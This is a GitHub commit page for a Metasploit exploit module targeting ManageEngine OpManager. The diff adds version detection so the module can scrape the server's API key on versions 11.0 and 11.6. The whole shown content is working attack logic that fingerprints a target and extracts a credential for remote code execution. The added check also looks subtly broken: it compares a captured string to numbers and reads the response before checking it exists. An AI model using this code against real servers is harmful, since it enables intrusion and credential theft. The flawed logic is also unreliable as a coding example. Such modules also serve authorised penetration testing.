Skip to content

Commit 178d680

Browse files
author
Sara Perez
committed
version check, as the name for the api key call changes on 11.0. Line 130
1 parent 85845b3 commit 178d680

File tree

1 file changed

+7
-1
lines changed

1 file changed

+7
-1
lines changed

modules/exploits/windows/http/manage_engine_opmanager_rce.rb

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -121,8 +121,14 @@ def exploit
121121
'uri' => redirect,
122122
'method' => 'GET'
123123
})
124+
if res.body =~ /OpManager.*v\.([0-9]+\.[0-9]+)<\/span>/
125+
version = $1
126+
else
127+
fail_with(Failure::Unknown, "#{peer} - Could not gather the version in use")
128+
end
124129

125-
if res && res.code == 200 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/
130+
if res && res.code == 200 && ((version == 11.6 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/) || (version == 11.0 && res.body =~ /window.apiKey = "([a-z0-9]+)"/))
131+
# the line above checks for the version, as for version 11.0 the call for the api key value is different but the rest of the exploit works the same.
126132
api_key = $1
127133
print_status("Retrieved API key [ #{api_key} ]")
128134
else

0 commit comments

Comments
 (0)